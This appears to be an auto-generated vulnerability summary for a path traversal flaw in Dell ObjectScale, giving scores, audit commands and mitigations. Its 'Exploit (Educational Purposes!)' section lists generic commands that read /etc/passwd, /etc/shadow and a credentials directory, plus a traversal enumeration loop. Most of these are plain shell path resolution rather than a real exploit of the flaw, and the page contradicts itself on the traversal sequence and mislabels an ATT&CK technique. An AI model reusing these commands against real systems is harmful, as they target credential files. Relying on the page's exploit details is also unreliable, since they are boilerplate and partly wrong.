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How CVE-2026-56089 Works
CVE-2026-56089 is a path traversal vulnerability identified in Dell ObjectScale, a software-defined object storage platform. The weakness exists in versions prior to 4.3.0.1 and is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’).
At its core, the vulnerability stems from how ObjectScale processes user-supplied input that is used to construct file system paths. The application fails to adequately validate or sanitize external input used in pathname construction, allowing path traversal sequences to resolve outside the intended directory. Specifically, the product does not properly neutralize `…/…//` (doubled triple dot slash) sequences, which can cause the pathname to resolve to a location outside the restricted directory.
To exploit this flaw, an attacker must have already established local access to the affected system and possess only low-level privileges. This is not a remote code execution vulnerability nor does it provide immediate privilege escalation from a network-facing service. Instead, it serves as a mechanism for lateral movement or data exfiltration by users who have gained an initial foothold within the operating environment.
A malicious actor with such access can manipulate file path parameters to traverse up directory hierarchies using standard notation sequences (e.g., ../), thereby accessing sensitive files outside the expected scope. This could include configuration files, logs, credentials, authentication tokens, encryption keys, internal network topology data, or proprietary information stored within the ObjectScale environment.
From a threat modeling perspective aligned with MITRE ATT&CK frameworks, this scenario maps closely to Technique T1006 (Local File Access) and potentially Credential Dumping if sensitive files are retrieved. The ability to read restricted files can facilitate further attacks by providing attackers with intelligence necessary for privilege escalation or deeper infrastructure infiltration.
The vulnerability has a CVSS v3.1 base score of 3.3 (LOW) with the vector AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N. The exploitability is considered easy, and no public exploit is currently available. The EPSS score is 0.14% with approximately 4% percentile, indicating low probability of exploitation activity in the next 30 days.
DailyCVE Form:
Platform: Dell ObjectScale
Version: < 4.3.0.1
Vulnerability: Path Traversal
Severity: Low (CVSS 3.3)
Date: 2026-08-17
Prediction: 2026-08-24
What Undercode Say:
Analytics:
- CVE Published: August 17, 2026
- NVD Last Modified: August 18, 2026
- CVSS Score: 3.3 (Low)
- EPSS Score: 0.14% (4th percentile)
- Exploit Availability: None publicly available
- Not listed in CISA KEV
- Affected Versions: 3.8.1.7, 4.1.0.3, 4.2.0.0, and all prior to 4.3.0.1
- Attack Vector: Local
- Privileges Required: Low
- Weakness: CWE-22 / CWE-35
Check ObjectScale version objectscale --version Verify current deployment version kubectl get pods -n objectscale -o yaml | grep "image:" | head -5 List available updates apt-cache policy objectscale Check for vulnerable path patterns in logs grep -r "../../" /var/log/objectscale/ Monitor for suspicious file access auditctl -w /etc/objectscale/ -p r -k objectscale_traversal
Exploit: (Educational Purposes!)
The following is for educational demonstration only
Attempt to traverse outside restricted directory
curl --path-as-is "http://localhost:8080/../../../../etc/passwd"
Local file read via path traversal
cat /opt/objectscale/../../../../etc/shadow 2>/dev/null
Access sensitive configuration
ls -la /opt/objectscale/../../../var/lib/objectscale/credentials/
Enumerate directories using traversal
for i in {1..10}; do
path=$(printf '../%.0s' $(seq 1 $i))
ls -la "/opt/objectscale/${path}etc/" 2>/dev/null
done
Protection:
- Upgrade to Dell ObjectScale version 4.3.0.1 or later
- Restrict local access to the ObjectScale installation to trusted administrators only
- Enforce strict least-privilege policies on local accounts
- Monitor for unusual file access patterns using host-based intrusion detection systems
- Encrypt sensitive data at rest to mitigate impact even if exploitation occurs
- Apply the vendor advisory: DSA-2026-328
Impact:
- Information Disclosure – exposure of sensitive files including configuration files, logs, credentials, authentication tokens, encryption keys, and proprietary data
- Lateral Movement – provides attackers with intelligence for deeper infiltration
- Credential Theft – potential dumping of credentials if sensitive files are accessed
- No Remote Exploitation – requires local access, limiting attack surface
- No Privilege Escalation – does not grant higher privileges, only information disclosure
- Compliance Risk – potential breach of data protection regulations if sensitive data is exposed
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Sources:
Reported By: nvd.nist.gov
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